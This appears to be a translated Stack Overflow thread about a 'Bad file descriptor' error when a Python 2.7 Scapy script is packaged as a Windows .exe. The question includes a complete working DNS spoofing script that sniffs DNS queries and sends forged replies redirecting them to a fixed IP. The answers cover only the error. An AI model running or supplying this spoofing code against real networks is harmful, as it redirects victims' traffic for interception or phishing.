【问题标题】:scapy OSError: [Errno 9] Bad file descriptorscapy OSError: [Errno 9] 错误的文件描述符
【发布时间】:2018-10-21 15:54:47
【问题描述】:

我在 windows xp 中使用 python 2.7 和 scapy-2.2.0。 我正在尝试 dns 欺骗,它在 python 中运行良好。但是当我制作 .exe 并执行它时,我得到了这个错误

Traceback (most recent call last):
File "dns_spoof.py", line 17, in <module>
File "scapy\arch\windows\__init__.pyc", line 523, in sniff
File "dns_spoof.py", line 15, in dns_spoof
File "scapy\sendrecv.pyc", line 251, in send
File "scapy\sendrecv.pyc", line 237, in __gen_send
OSError: [Errno 9] Bad file descriptor

我该如何解决?请帮忙。

这是源代码。

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
    from scapy.all import *
except:
    from scapy import *
def dns_spoof(pkt):
    redirect_to = '172.16.22.91'
    if pkt.haslayer(DNSQR): # DNS question record
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                      DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
                      an=DNSRR(rrname=pkt[DNS].qd.qname,  ttl=10, rdata=redirect_to))
        send(spoofed_pkt)
        print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof)

【问题讨论】:

  • 将你的 scapy 版本更新到 2.4.0 或 GitHub 版本,已修复

标签: python python-2.7 scapy


【解决方案1】:

我在尝试send(IP(dst="1.2.3.4")/ICMP()) 时遇到了同样的错误,我在 github 上发现我的问题是 我在 Windows 上使用的是 IDLE 而不是命令提示符/Powershell。 这是 Powershell 中的输出:

>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.

也许这不是 OP 遇到的问题,但这是 Google 上的第一个帖子,所以它可能会对某人有所帮助。

【讨论】:

  • IDLE 是我的原因,TKS :D
【解决方案2】:

看起来使用了错误的文件描述符(句柄)。例如。作为标准输出(管道)打开的东西被用作套接字。

如果我理解正确,相同的程序可以从源代码运行,但在滚动到 exe 时会失败。我说的对吗?

如果你在 linux 上运行它,你会使用 strace 来确定是哪个。

Windows 上的等效工具是 Process MonitorLogger.exe

【讨论】:

  • 谢谢,我解决了。这是源代码中的字符问题('\')。
猜你喜欢
  • 2020-05-20
  • 1970-01-01
  • 2021-04-29
  • 1970-01-01
  • 2020-12-10
  • 1970-01-01
  • 1970-01-01
  • 2020-11-28
  • 2020-08-28
相关资源
最近更新 更多